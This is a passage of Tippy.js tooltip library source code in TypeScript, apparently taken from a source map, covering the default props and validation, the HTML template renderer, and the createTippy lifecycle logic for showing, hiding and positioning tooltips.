250],\n getReferenceClientRect: null,\n hideOnClick: true,\n ignoreAttributes: false,\n interactive: false,\n interactiveBorder: 2,\n interactiveDebounce: 0,\n moveTransition: '',\n offset: [0, 10],\n onAfterUpdate() {},\n onBeforeUpdate() {},\n onCreate() {},\n onDestroy() {},\n onHidden() {},\n onHide() {},\n onMount() {},\n onShow() {},\n onShown() {},\n onTrigger() {},\n onUntrigger() {},\n onClickOutside() {},\n placement: 'top',\n plugins: [],\n popperOptions: {},\n render: null,\n showOnCreate: false,\n touch: true,\n trigger: 'mouseenter focus',\n triggerTarget: null,\n ...pluginProps,\n ...renderProps,\n};\n\nconst defaultKeys = Object.keys(defaultProps);\n\nexport const setDefaultProps: Tippy['setDefaultProps'] = (partialProps) => {\n /* istanbul ignore else */\n if (__DEV__) {\n validateProps(partialProps, []);\n }\n\n const keys = Object.keys(partialProps) as Array<keyof DefaultProps>;\n keys.forEach((key) => {\n (defaultProps as any)[key] = partialProps[key];\n });\n};\n\nexport function getExtendedPassedProps(\n passedProps: Partial<Props> & Record<string, unknown>\n): Partial<Props> {\n const plugins = passedProps.plugins || [];\n const pluginProps = plugins.reduce<Record<string, unknown>>((acc, plugin) => {\n const {name, defaultValue} = plugin;\n\n if (name) {\n acc[name] =\n passedProps[name] !== undefined\n ? passedProps[name]\n : (defaultProps as any)[name] ?? defaultValue;\n }\n\n return acc;\n }, {});\n\n return {\n ...passedProps,\n ...pluginProps,\n };\n}\n\nexport function getDataAttributeProps(\n reference: ReferenceElement,\n plugins: Plugin[]\n): Record<string, unknown> {\n const propKeys = plugins\n ? Object.keys(getExtendedPassedProps({...defaultProps, plugins}))\n : defaultKeys;\n\n const props = propKeys.reduce(\n (acc: Partial<Props> & Record<string, unknown>, key) => {\n const valueAsString = (\n reference.getAttribute(`data-tippy-${key}`) || ''\n ).trim();\n\n if (!valueAsString) {\n return acc;\n }\n\n if (key === 'content') {\n acc[key] = valueAsString;\n } else {\n try {\n acc[key] = JSON.parse(valueAsString);\n } catch (e) {\n acc[key] = valueAsString;\n }\n }\n\n return acc;\n },\n {}\n );\n\n return props;\n}\n\nexport function evaluateProps(\n reference: ReferenceElement,\n props: Props\n): Props {\n const out = {\n ...props,\n content: invokeWithArgsOrReturn(props.content, [reference]),\n ...(props.ignoreAttributes\n ? {}\n : getDataAttributeProps(reference, props.plugins)),\n };\n\n out.aria = {\n ...defaultProps.aria,\n ...out.aria,\n };\n\n out.aria = {\n expanded:\n out.aria.expanded === 'auto' ? props.interactive : out.aria.expanded,\n content:\n out.aria.content === 'auto'\n ? props.interactive\n ? null\n : 'describedby'\n : out.aria.content,\n };\n\n return out;\n}\n\nexport function validateProps(\n partialProps: Partial<Props> = {},\n plugins: Plugin[] = []\n): void {\n const keys = Object.keys(partialProps) as Array<keyof Props>;\n keys.forEach((prop) => {\n const nonPluginProps = removeProperties(\n defaultProps,\n Object.keys(pluginProps)\n );\n\n let didPassUnknownProp = !hasOwnProperty(nonPluginProps, prop);\n\n // Check if the prop exists in `plugins`\n if (didPassUnknownProp) {\n didPassUnknownProp =\n plugins.filter((plugin) => plugin.name === prop).length === 0;\n }\n\n warnWhen(\n didPassUnknownProp,\n [\n `\\`${prop}\\``,\n \"is not a valid prop. You may have spelled it incorrectly, or if it's\",\n 'a plugin, forgot to pass it in an array as props.plugins.',\n '\\n\\n',\n 'All props: https://atomiks.github.io/tippyjs/v6/all-props/\\n',\n 'Plugins: https://atomiks.github.io/tippyjs/v6/plugins/',\n ].join(' ')\n );\n });\n}\n","import {\n ARROW_CLASS,\n BACKDROP_CLASS,\n BOX_CLASS,\n CONTENT_CLASS,\n SVG_ARROW_CLASS,\n} from './constants';\nimport {div, isElement} from './dom-utils';\nimport {Instance, PopperElement, Props} from './types';\nimport {PopperChildren} from './types-internal';\nimport {arrayFrom} from './utils';\n\n// Firefox extensions don't allow .innerHTML = \"...\" property. This tricks it.\nconst innerHTML = (): 'innerHTML' => 'innerHTML';\n\nfunction dangerouslySetInnerHTML(element: Element, html: string): void {\n element[innerHTML()] = html;\n}\n\nfunction createArrowElement(value: Props['arrow']): HTMLDivElement {\n const arrow = div();\n\n if (value === true) {\n arrow.className = ARROW_CLASS;\n } else {\n arrow.className = SVG_ARROW_CLASS;\n\n if (isElement(value)) {\n arrow.appendChild(value);\n } else {\n dangerouslySetInnerHTML(arrow, value as string);\n }\n }\n\n return arrow;\n}\n\nexport function setContent(content: HTMLDivElement, props: Props): void {\n if (isElement(props.content)) {\n dangerouslySetInnerHTML(content, '');\n content.appendChild(props.content);\n } else if (typeof props.content !== 'function') {\n if (props.allowHTML) {\n dangerouslySetInnerHTML(content, props.content);\n } else {\n content.textContent = props.content;\n }\n }\n}\n\nexport function getChildren(popper: PopperElement): PopperChildren {\n const box = popper.firstElementChild as HTMLDivElement;\n const boxChildren = arrayFrom(box.children);\n\n return {\n box,\n content: boxChildren.find((node) => node.classList.contains(CONTENT_CLASS)),\n arrow: boxChildren.find(\n (node) =>\n node.classList.contains(ARROW_CLASS) ||\n node.classList.contains(SVG_ARROW_CLASS)\n ),\n backdrop: boxChildren.find((node) =>\n node.classList.contains(BACKDROP_CLASS)\n ),\n };\n}\n\nexport function render(\n instance: Instance\n): {\n popper: PopperElement;\n onUpdate?: (prevProps: Props, nextProps: Props) => void;\n} {\n const popper = div();\n\n const box = div();\n box.className = BOX_CLASS;\n box.setAttribute('data-state', 'hidden');\n box.setAttribute('tabindex', '-1');\n\n const content = div();\n content.className = CONTENT_CLASS;\n content.setAttribute('data-state', 'hidden');\n\n setContent(content, instance.props);\n\n popper.appendChild(box);\n box.appendChild(content);\n\n onUpdate(instance.props, instance.props);\n\n function onUpdate(prevProps: Props, nextProps: Props): void {\n const {box, content, arrow} = getChildren(popper);\n\n if (nextProps.theme) {\n box.setAttribute('data-theme', nextProps.theme);\n } else {\n box.removeAttribute('data-theme');\n }\n\n if (typeof nextProps.animation === 'string') {\n box.setAttribute('data-animation', nextProps.animation);\n } else {\n box.removeAttribute('data-animation');\n }\n\n if (nextProps.inertia) {\n box.setAttribute('data-inertia', '');\n } else {\n box.removeAttribute('data-inertia');\n }\n\n box.style.maxWidth =\n typeof nextProps.maxWidth === 'number'\n ? `${nextProps.maxWidth}px`\n : nextProps.maxWidth;\n\n if (nextProps.role) {\n box.setAttribute('role', nextProps.role);\n } else {\n box.removeAttribute('role');\n }\n\n if (\n prevProps.content !== nextProps.content ||\n prevProps.allowHTML !== nextProps.allowHTML\n ) {\n setContent(content, instance.props);\n }\n\n if (nextProps.arrow) {\n if (!arrow) {\n box.appendChild(createArrowElement(nextProps.arrow));\n } else if (prevProps.arrow !== nextProps.arrow) {\n box.removeChild(arrow);\n box.appendChild(createArrowElement(nextProps.arrow));\n }\n } else if (arrow) {\n box.removeChild(arrow!);\n }\n }\n\n return {\n popper,\n onUpdate,\n };\n}\n\n// Runtime check to identify if the render function is the default one; this\n// way we can apply default CSS transitions logic and it can be tree-shaken away\nrender.$$tippy = true;\n","import {createPopper, StrictModifiers, Modifier} from '@popperjs/core';\nimport {currentInput} from './bindGlobalEventListeners';\nimport {isIE11} from './browser';\nimport {TIPPY_DEFAULT_APPEND_TO, TOUCH_OPTIONS} from './constants';\nimport {\n actualContains,\n div,\n getOwnerDocument,\n isCursorOutsideInteractiveBorder,\n isMouseEvent,\n setTransitionDuration,\n setVisibilityState,\n updateTransitionEndListener,\n} from './dom-utils';\nimport {defaultProps, evaluateProps, getExtendedPassedProps} from './props';\nimport {getChildren} from './template';\nimport {\n Content,\n Instance,\n LifecycleHooks,\n PopperElement,\n Props,\n ReferenceElement,\n} from './types';\nimport {ListenerObject, PopperTreeData, PopperChildren} from './types-internal';\nimport {\n arrayFrom,\n debounce,\n getValueAtIndexOrReturn,\n invokeWithArgsOrReturn,\n normalizeToArray,\n pushIfUnique,\n splitBySpaces,\n unique,\n removeUndefinedProps,\n} from './utils';\nimport {createMemoryLeakWarning, errorWhen, warnWhen} from './validation';\n\nlet idCounter = 1;\nlet mouseMoveListeners: ((event: MouseEvent) => void)[] = [];\n\n// Used by `hideAll()`\nexport let mountedInstances: Instance[] = [];\n\nexport default function createTippy(\n reference: ReferenceElement,\n passedProps: Partial<Props>\n): Instance {\n const props = evaluateProps(reference, {\n ...defaultProps,\n ...getExtendedPassedProps(removeUndefinedProps(passedProps)),\n });\n\n // ===========================================================================\n // 🔒 Private members\n // ===========================================================================\n let showTimeout: any;\n let hideTimeout: any;\n let scheduleHideAnimationFrame: number;\n let isVisibleFromClick = false;\n let didHideDueToDocumentMouseDown = false;\n let didTouchMove = false;\n let ignoreOnFirstUpdate = false;\n let lastTriggerEvent: Event | undefined;\n let currentTransitionEndListener: (event: TransitionEvent) => void;\n let onFirstUpdate: () => void;\n let listeners: ListenerObject[] = [];\n let debouncedOnMouseMove = debounce(onMouseMove, props.interactiveDebounce);\n let currentTarget: Element;\n\n // ===========================================================================\n // 🔑 Public members\n // ===========================================================================\n const id = idCounter++;\n const popperInstance = null;\n const plugins = unique(props.plugins);\n\n const state = {\n // Is the instance currently enabled?\n isEnabled: true,\n // Is the tippy currently showing and not transitioning out?\n isVisible: false,\n // Has the instance been destroyed?\n isDestroyed: false,\n // Is the tippy currently mounted to the DOM?\n isMounted: false,\n // Has the tippy finished transitioning in?\n isShown: false,\n };\n\n const instance: Instance = {\n // properties\n id,\n reference,\n popper: div(),\n popperInstance,\n props,\n state,\n plugins,\n // methods\n clearDelayTimeouts,\n setProps,\n setContent,\n show,\n hide,\n hideWithInteractivity,\n enable,\n disable,\n unmount,\n destroy,\n };\n\n // TODO: Investigate why this early return causes a TDZ error in the tests —\n // it doesn't seem to happen in the browser\n /* istanbul ignore if */\n if (!props.render) {\n if (__DEV__) {\n errorWhen(true, 'render() function has not been supplied.');\n }\n\n return instance;\n }\n\n // ===========================================================================\n // Initial mutations\n // ===========================================================================\n const {popper, onUpdate} = props.render(instance);\n\n popper.setAttribute('data-__NAMESPACE_PREFIX__-root', '');\n popper.id = `__NAMESPACE_PREFIX__-${instance.id}`;\n\n instance.popper = popper;\n reference._tippy = instance;\n popper._tippy = instance;\n\n const pluginsHooks = plugins.map((plugin) => plugin.fn(instance));\n const hasAriaExpanded = reference.hasAttribute('aria-expanded');\n\n addListeners();\n handleAriaExpandedAttribute();\n handleStyles();\n\n invokeHook('onCreate', [instance]);\n\n if (props.showOnCreate) {\n scheduleShow();\n }\n\n // Prevent a tippy with a delay from hiding if the cursor left then returned\n // before it started hiding\n popper.addEventListener('mouseenter', () => {\n if (instance.props.interactive && instance.state.isVisible) {\n instance.clearDelayTimeouts();\n }\n });\n\n popper.addEventListener('mouseleave', () => {\n if (\n instance.props.interactive &&\n instance.props.trigger.indexOf('mouseenter') >= 0\n ) {\n getDocument().addEventListener('mousemove', debouncedOnMouseMove);\n }\n });\n\n return instance;\n\n // ===========================================================================\n // 🔒 Private methods\n // ===========================================================================\n function getNormalizedTouchSettings(): [string | boolean, number] {\n const {touch} = instance.props;\n return Array.isArray(touch) ? touch : [touch, 0];\n }\n\n function getIsCustomTouchBehavior(): boolean {\n return getNormalizedTouchSettings()[0] === 'hold';\n }\n\n function getIsDefaultRenderFn(): boolean {\n // @ts-ignore\n return !!instance.props.render?.$$tippy;\n }\n\n function getCurrentTarget(): Element {\n return currentTarget || reference;\n }\n\n function getDocument(): Document {\n const parent = getCurrentTarget().parentNode as Element;\n return parent ? getOwnerDocument(parent) : document;\n }\n\n function getDefaultTemplateChildren(): PopperChildren {\n return getChildren(popper);\n }\n\n function getDelay(isShow: boolean): number {\n // For touch or keyboard input, force `0` delay for UX reasons\n // Also if the instance is mounted but not visible (transitioning out),\n // ignore delay\n if (\n (instance.state.isMounted && !instance.state.isVisible) ||\n currentInput.isTouch ||\n (lastTriggerEvent && lastTriggerEvent.type === 'focus')\n ) {\n return 0;\n }\n\n return getValueAtIndexOrReturn(\n instance.props.delay,\n isShow ? 0 : 1,\n defaultProps.delay\n );\n }\n\n function handleStyles(fromHide = false): void {\n popper.style.pointerEvents =\n instance.props.interactive && !fromHide ? '' : 'none';\n popper.style.zIndex = `${instance.props.zIndex}`;\n }\n\n function invokeHook(\n hook: keyof LifecycleHooks,\n args: [Instance, any?],\n shouldInvokePropsHook = true\n ): void {\n pluginsHooks.forEach((pluginHooks) => {\n if (pluginHooks[hook]) {\n pluginHooks[hook]!(...args);\n }\n });\n\n if (shouldInvokePropsHook) {\n instance.props[hook](...args);\n }\n }\n\n function handleAriaContentAttribute(): void {\n const {aria} = instance.props;\n\n if (!aria.content) {\n return;\n }\n\n const attr = `aria-${aria.content}`;\n const id = popper.id;\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n\n nodes.forEach((node) => {\n const currentValue = node.getAttribute(attr);\n\n if (instance.state.isVisible) {\n node.setAttribute(attr, currentValue ? `${currentValue} ${id}` : id);\n } else {\n const nextValue = currentValue && currentValue.replace(id, '').trim();\n\n if (nextValue) {\n node.setAttribute(attr, nextValue);\n } else {\n node.removeAttribute(attr);\n }\n }\n });\n }\n\n function handleAriaExpandedAttribute(): void {\n if (hasAriaExpanded || !instance.props.aria.expanded) {\n return;\n }\n\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n\n nodes.forEach((node) => {\n if (instance.props.interactive) {\n node.setAttribute(\n 'aria-expanded',\n instance.state.isVisible && node === getCurrentTarget()\n ? 'true'\n : 'false'\n );\n } else {\n node.removeAttribute('aria-expanded');\n }\n });\n }\n\n function cleanupInteractiveMouseListeners(): void {\n getDocument().removeEventListener('mousemove', debouncedOnMouseMove);\n mouseMoveListeners = mouseMoveListeners.filter(\n (listener) => listener !== debouncedOnMouseMove\n );\n }\n\n function onDocumentPress(event: MouseEvent | TouchEvent): void {\n // Moved finger to scroll instead of an intentional tap outside\n if (currentInput.isTouch) {\n if (didTouchMove || event.type === 'mousedown') {\n return;\n }\n }\n\n const actualTarget =\n (event.composedPath && event.composedPath()[0]) || event.target;\n\n // Clicked on interactive popper\n if (\n instance.props.interactive &&\n actualContains(popper, actualTarget as Element)\n ) {\n return;\n }\n\n // Clicked on the event listeners target\n if (\n normalizeToArray(instance.props.triggerTarget || reference).some((el) =>\n actualContains(el, actualTarget as Element)\n )\n ) {\n if (currentInput.isTouch) {\n return;\n }\n\n if (\n instance.state.isVisible &&\n instance.props.trigger.indexOf('click') >= 0\n ) {\n return;\n }\n } else {\n invokeHook('onClickOutside', [instance, event]);\n }\n\n if (instance.props.hideOnClick === true) {\n instance.clearDelayTimeouts();\n instance.hide();\n\n // `mousedown` event is fired right before `focus` if pressing the\n // currentTarget. This lets a tippy with `focus` trigger know that it\n // should not show\n didHideDueToDocumentMouseDown = true;\n setTimeout(() => {\n didHideDueToDocumentMouseDown = false;\n });\n\n // The listener gets added in `scheduleShow()`, but this may be hiding it\n // before it shows, and hide()'s early bail-out behavior can prevent it\n // from being cleaned up\n if (!instance.state.isMounted) {\n removeDocumentPress();\n }\n }\n }\n\n function onTouchMove(): void {\n didTouchMove = true;\n }\n\n function onTouchStart(): void {\n didTouchMove = false;\n }\n\n function addDocumentPress(): void {\n const doc = getDocument();\n doc.addEventListener('mousedown', onDocumentPress, true);\n doc.addEventListener('touchend', onDocumentPress, TOUCH_OPTIONS);\n doc.addEventListener('touchstart', onTouchStart, TOUCH_OPTIONS);\n doc.addEventListener('touchmove', onTouchMove, TOUCH_OPTIONS);\n }\n\n function removeDocumentPress(): void {\n const doc = getDocument();\n doc.removeEventListener('mousedown', onDocumentPress, true);\n doc.removeEventListener('touchend', onDocumentPress, TOUCH_OPTIONS);\n doc.removeEventListener('touchstart', onTouchStart, TOUCH_OPTIONS);\n doc.removeEventListener('touchmove', onTouchMove, TOUCH_OPTIONS);\n }\n\n function onTransitionedOut(duration: number, callback: () => void): void {\n onTransitionEnd(duration, () => {\n if (\n !instance.state.isVisible &&\n popper.parentNode &&\n popper.parentNode.contains(popper)\n ) {\n callback();\n }\n });\n }\n\n function onTransitionedIn(duration: number, callback: () => void): void {\n onTransitionEnd(duration, callback);\n }\n\n function onTransitionEnd(duration: number, callback: () => void): void {\n const box = getDefaultTemplateChildren().box;\n\n function listener(event: TransitionEvent): void {\n if (event.target === box) {\n updateTransitionEndListener(box, 'remove', listener);\n callback();\n }\n }\n\n // Make callback synchronous if duration is 0\n // `transitionend` won't fire otherwise\n if (duration === 0) {\n return callback();\n }\n\n updateTransitionEndListener(box, 'remove', currentTransitionEndListener);\n updateTransitionEndListener(box, 'add', listener);\n\n currentTransitionEndListener = listener;\n }\n\n function on(\n eventType: string,\n handler: EventListener,\n options: boolean | Record<string, unknown> = false\n ): void {\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n nodes.forEach((node) => {\n node.addEventListener(eventType, handler, options);\n listeners.push({node, eventType, handler, options});\n });\n }\n\n function addListeners(): void {\n if (getIsCustomTouchBehavior()) {\n on('touchstart', onTrigger, {passive: true});\n on('touchend', onMouseLeave as EventListener, {passive: true});\n }\n\n splitBySpaces(instance.props.trigger).forEach((eventType) => {\n if (eventType === 'manual') {\n return;\n }\n\n on(eventType, onTrigger);\n\n switch (eventType) {\n case 'mouseenter':\n on('mouseleave', onMouseLeave as EventListener);\n break;\n case 'focus':\n on(isIE11 ? 'focusout' : 'blur', onBlurOrFocusOut as EventListener);\n break;\n case 'focusin':\n on('focusout', onBlurOrFocusOut as EventListener);\n break;\n }\n });\n }\n\n function removeListeners(): void {\n listeners.forEach(({node, eventType, handler, options}: ListenerObject) => {\n node.removeEventListener(eventType, handler, options);\n });\n listeners = [];\n }\n\n function onTrigger(event: Event): void {\n let shouldScheduleClickHide = false;\n\n if (\n !instance.state.isEnabled ||\n isEventListenerStopped(event) ||\n didHideDueToDocumentMouseDown\n ) {\n return;\n }\n\n const wasFocused = lastTriggerEvent?.type === 'focus';\n\n lastTriggerEvent = event;\n currentTarget = event.currentTarget as Element;\n\n handleAriaExpandedAttribute();\n\n if (!instance.state.isVisible && isMouseEvent(event)) {\n // If scrolling, `mouseenter` events can be fired if the cursor lands\n // over a new target, but `mousemove` events don't get fired. This\n // causes interactive tooltips to get stuck open until the cursor is\n // moved\n mouseMoveListeners.forEach((listener) => listener(event));\n }\n\n // Toggle show/hide when clicking click-triggered tooltips\n if (\n event.type === 'click' &&\n (instance.props.trigger.indexOf('mouseenter') < 0 ||\n isVisibleFromClick) &&\n instance.props.hideOnClick !== false &&\n instance.state.isVisible\n ) {\n shouldScheduleClickHide = true;\n } else {\n scheduleShow(event);\n }\n\n if (event.type === 'click') {\n isVisibleFromClick = !shouldScheduleClickHide;\n }\n\n if (shouldScheduleClickHide && !wasFocused) {\n scheduleHide(event);\n }\n }\n\n function onMouseMove(event: MouseEvent): void {\n const target = event.target as Node;\n const isCursorOverReferenceOrPopper =\n getCurrentTarget().contains(target) || popper.contains(target);\n\n if (event.type === 'mousemove' && isCursorOverReferenceOrPopper) {\n return;\n }\n\n const popperTreeData = getNestedPopperTree()\n .concat(popper)\n .map((popper) => {\n const instance = popper._tippy!;\n const state = instance.popperInstance?.state;\n\n if (state) {\n return {\n popperRect: popper.getBoundingClientRect(),\n popperState: state,\n props,\n };\n }\n\n return null;\n })\n .filter(Boolean) as PopperTreeData[];\n\n if (isCursorOutsideInteractiveBorder(popperTreeData, event)) {\n cleanupInteractiveMouseListeners();\n scheduleHide(event);\n }\n }\n\n function onMouseLeave(event: MouseEvent): void {\n const shouldBail =\n isEventListenerStopped(event) ||\n (instance.props.trigger.indexOf('click') >= 0 && isVisibleFromClick);\n\n if (shouldBail) {\n return;\n }\n\n if (instance.props.interactive) {\n instance.hideWithInteractivity(event);\n return;\n }\n\n scheduleHide(event);\n }\n\n function onBlurOrFocusOut(event: FocusEvent): void {\n if (\n instance.props.trigger.indexOf('focusin') < 0 &&\n event.target !== getCurrentTarget()\n ) {\n return;\n }\n\n // If focus was moved to within the popper\n if (\n instance.props.interactive &&\n event.relatedTarget &&\n popper.contains(event.relatedTarget as Element)\n ) {\n return;\n }\n\n scheduleHide(event);\n }\n\n function isEventListenerStopped(event: Event): boolean {\n return currentInput.isTouch\n ? getIsCustomTouchBehavior() !== event.type.indexOf('touch') >= 0\n : false;\n }\n\n function createPopperInstance(): void {\n destroyPopperInstance();\n\n const {\n popperOptions,\n placement,\n offset,\n getReferenceClientRect,\n moveTransition,\n } = instance.props;\n\n const arrow = getIsDefaultRenderFn() ? getChildren(popper).arrow : null;\n\n const computedReference = getReferenceClientRect\n ? {\n getBoundingClientRect: getReferenceClientRect,\n contextElement:\n getReferenceClientRect.contextElement || getCurrentTarget(),\n }\n : reference;\n\n const tippyModifier: Modifier<'$$tippy', Record<string, unknown>> = {\n name: '$$tippy',\n enabled: true,\n phase: 'beforeWrite',\n requires: ['computeStyles'],\n fn({state}) {\n if (getIsDefaultRenderFn()) {\n const {box} = getDefaultTemplateChildren();\n\n ['placement', 'reference-hidden', 'escaped'].forEach((attr) => {\n if (attr === 'placement') {\n box.setAttribute('data-placement', state.placement);\n } else {\n if (state.attributes.popper[`data-popper-${attr}`]) {\n box.setAttribute(`data-${attr}`, '');\n } else {\n box.removeAttribute(`data-${attr}`);\n }\n }\n });\n\n state.attributes.popper = {};\n }\n },\n };\n\n type TippyModifier = Modifier<'$$tippy', Record<string, unknown>>;\n type ExtendedModifiers = StrictModifiers | Partial<TippyModifier>;\n\n const modifiers: Array<ExtendedModifiers> = [\n {\n name: 'offset',\n options: {\n offset,\n },\n },\n {\n name: 'preventOverflow',\n options: {\n padding: {\n top: 2,\n bottom: 2,\n left: 5,\n right: 5,\n },\n },\n },\n {\n name: 'flip',\n options: {\n padding: 5,\n },\n },\n {\n name: 'computeStyles',\n options: {\n adaptive: !moveTransition,\n },\n },\n tippyModifier,\n ];\n\n if (getIsDefaultRenderFn() && arrow) {\n modifiers.push({\n name: 'arrow',\n options: {\n element: arrow,\n padding: 3,\n },\n });\n }\n\n modifiers.push(...(popperOptions?.modifiers || []));\n\n instance.popperInstance = createPopper<ExtendedModifiers>(\n computedReference,\n popper,\n {\n ...popperOptions,\n placement,\n onFirstUpdate,\n modifiers,\n }\n );\n }\n\n function destroyPopperInstance(): void {\n if (instance.popperInstance) {\n instance.popperInstance.destroy();\n instance.popperInstance = null;\n }\n }\n\n function mount(): void {\n const {appendTo} = instance.props;\n\n let parentNode: any;\n\n // By default, we'll append the popper to the triggerTargets's parentNode so\n // it's directly after the reference element so the elements inside the\n // tippy can be tabbed to\n // If there are clipping issues, the user can specify a different appendTo\n // and ensure focus management is handled correctly manually\n const node = getCurrentTarget();\n\n if (\n (instance.props.interactive && appendTo === TIPPY_DEFAULT_APPEND_TO) ||\n appendTo === 'parent'\n ) {\n parentNode = node.parentNode;\n } else {\n parentNode = invokeWithArgsOrReturn(appendTo, [node]);\n }\n\n // The popper element needs to exist on the DOM before its position can be\n // updated as Popper needs to read its dimensions\n if (!parentNode.contains(popper)) {\n parentNode.appendChild(popper);\n }\n\n instance.state.isMounted = true;\n\n createPopperInstance();\n\n /* istanbul ignore else */\n if (__DEV__) {\n // Accessibility check\n warnWhen(\n instance.props.interactive &&\n appendTo === defaultProps.appendTo &&\n node.nextElementSibling !== popper,\n [\n 'Interactive tippy element may not be accessible via keyboard',\n 'navigation because it is not directly after the reference element',\n 'in the DOM source order.',\n '\\n\\n',\n 'Using a wrapper <div> or <span> tag around the reference element',\n 'solves this by creating a new parentNode context.',\n '\\n\\n',\n 'Specifying `appendTo: document.body` silences this warning, but it',\n 'assumes you are using a focus management solution to handle',\n 'keyboard navigation.',\n '\\n\\n',\n 'See: https://atomiks.github.io/tippyjs/v6/accessibility/#interactivity',\n ].join(' ')\n );\n }\n }\n\n function getNestedPopperTree(): PopperElement[] {\n return arrayFrom(\n popper.querySelectorAll('[data-__NAMESPACE_PREFIX__-root]')\n );\n }\n\n function scheduleShow(event?: Event): void {\n instance.clearDelayTimeouts();\n\n if (event) {\n invokeHook('onTrigger', [instance, event]);\n }\n\n addDocumentPress();\n\n let delay = getDelay(true);\n const [touchValue, touchDelay] = getNormalizedTouchSettings();\n\n if (currentInput.isTouch && touchValue === 'hold' && touchDelay) {\n delay = touchDelay;\n }\n\n if (delay) {\n showTimeout = setTimeout(() => {\n instance.show();\n }, delay);\n } else {\n instance.show();\n }\n }\n\n function scheduleHide(event: Event): void {\n instance.clearDelayTimeouts();\n\n invokeHook('onUntrigger', [instance, event]);\n\n if (!instance.state.isVisible) {\n removeDocumentPress();\n\n return;\n }\n\n // For interactive tippies, scheduleHide is added to a document.body handler\n // from onMouseLeave so must intercept scheduled hides from mousemove/leave\n // events when trigger contains mouseenter and click, and the tip is\n // currently shown as a result of a click.\n if (\n instance.props.trigger.indexOf('mouseenter') >= 0 &&\n instance.props.trigger.indexOf('click') >= 0 &&\n ['mouseleave', 'mousemove'].indexOf(event.type) >= 0 &&\n isVisibleFromClick\n ) {\n return;\n }\n\n const delay = getDelay(false);\n\n if (delay) {\n hideTimeout = setTimeout(() => {\n if (instance.state.isVisible) {\n instance.hide();\n }\n }, delay);\n } else {\n // Fixes a `transitionend` problem when it fires 1 frame too\n // late sometimes, we don't want hide() to be called.\n scheduleHideAnimationFrame = requestAnimationFrame(() => {\n instance.hide();\n });\n }\n }\n\n // ===========================================================================\n // 🔑 Public methods\n // ===========================================================================\n function enable(): void {\n instance.state.isEnabled = true;\n }\n\n function disable(): void {\n // Disabling the instance should also hide it\n // https://github.com/atomiks/tippy.js-react/issues/106\n instance.hide();\n instance.state.isEnabled = false;\n }\n\n function clearDelayTimeouts(): void {\n clearTimeout(showTimeout);\n clearTimeout(hideTimeout);\n cancelAnimationFrame(scheduleHideAnimationFrame);\n }\n\n function setProps(partialProps: Partial<Props>): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('setProps'));\n }\n\n if (instance.state.isDestroyed) {\n return;\n }\n\n invokeHook('onBeforeUpdate', [instance, partialProps]);\n\n removeListeners();\n\n const prevProps = instance.props;\n const nextProps = evaluateProps(reference, {\n ...prevProps,\n ...removeUndefinedProps(partialProps),\n ignoreAttributes: true,\n });\n\n instance.props = nextProps;\n\n addListeners();\n\n if (prevProps.interactiveDebounce !== nextProps.interactiveDebounce) {\n cleanupInteractiveMouseListeners();\n debouncedOnMouseMove = debounce(\n onMouseMove,\n nextProps.interactiveDebounce\n );\n }\n\n // Ensure stale aria-expanded attributes are removed\n if (prevProps.triggerTarget && !nextProps.triggerTarget) {\n normalizeToArray(prevProps.triggerTarget).forEach((node) => {\n node.removeAttribute('aria-expanded');\n });\n } else if (nextProps.triggerTarget) {\n reference.removeAttribute('aria-expanded');\n }\n\n handleAriaExpandedAttribute();\n handleStyles();\n\n if (onUpdate) {\n onUpdate(prevProps, nextProps);\n }\n\n if (instance.popperInstance) {\n createPopperInstance();\n\n // Fixes an issue with nested tippies if they are all getting re-rendered,\n // and the nested ones get re-rendered first.\n // https://github.com/atomiks/tippyjs-react/issues/177\n // TODO: find a cleaner / more efficient solution(!)\n getNestedPopperTree().forEach((nestedPopper) => {\n // React (and other UI libs likely) requires a rAF wrapper as it flushes\n // its work in one\n requestAnimationFrame(nestedPopper._tippy!.popperInstance!.forceUpdate);\n });\n }\n\n invokeHook('onAfterUpdate', [instance, partialProps]);\n }\n\n function setContent(content: Content): void {\n instance.setProps({content});\n }\n\n function show(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('show'));\n }\n\n // Early bail-out\n const isAlreadyVisible = instance.state.isVisible;\n const isDestroyed = instance.state.isDestroyed;\n const isDisabled = !instance.state.isEnabled;\n const isTouchAndTouchDisabled =\n currentInput.isTouch && !instance.props.touch;\n const duration = getValueAtIndexOrReturn(\n instance.props.duration,\n 0,\n defaultProps.duration\n );\n\n if (\n isAlreadyVisible ||\n isDestroyed ||\n isDisabled ||\n isTouchAndTouchDisabled\n ) {\n return;\n }\n\n // Normalize `disabled` behavior across browsers.\n // Firefox allows events on disabled elements, but Chrome doesn't.\n // Using a wrapper element (i.e. <span>) is recommended.\n if (getCurrentTarget().hasAttribute('disabled')) {\n return;\n }\n\n invokeHook('onShow', [instance], false);\n if (instance.props.onShow(instance) === false) {\n return;\n }\n\n instance.state.isVisible = true;\n\n if (getIsDefaultRenderFn()) {\n popper.style.visibility = 'visible';\n }\n\n handleStyles();\n addDocumentPress();\n\n if (!instance.state.isMounted) {\n popper.style.transition = 'none';\n }\n\n // If flipping to the opposite side after hiding at least once, the\n // animation will use the wrong placement without resetting the duration\n if (getIsDefaultRenderFn()) {\n const {box, content} = getDefaultTemplateChildren();\n setTransitionDuration([box, content], 0);\n }\n\n onFirstUpdate = (): void => {\n if (!instance.state.isVisible || ignoreOnFirstUpdate) {\n return;\n }\n\n ignoreOnFirstUpdate = true;\n\n // reflow\n void popper.offsetHeight;\n\n popper.style.transition = instance.props.moveTransition;\n\n if (getIsDefaultRenderFn() && instance.props.animation) {\n const {box, content} = getDefaultTemplateChildren();\n setTransitionDuration([box, content], duration);\n setVisibilityState([box, content], 'visible');\n }\n\n handleAriaContentAttribute();\n handleAriaExpandedAttribute();\n\n pushIfUnique(mountedInstances, instance);\n\n // certain modifiers (e.g. `maxSize`) require a second update after the\n // popper has been positioned for the first time\n instance.popperInstance?.forceUpdate();\n\n invokeHook('onMount', [instance]);\n\n if (instance.props.animation && getIsDefaultRenderFn()) {\n onTransitionedIn(duration, () => {\n instance.state.isShown = true;\n invokeHook('onShown', [instance]);\n });\n }\n };\n\n mount();\n }\n\n function hide(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hide'));\n }\n\n // Early bail-out\n const isAlreadyHidden = 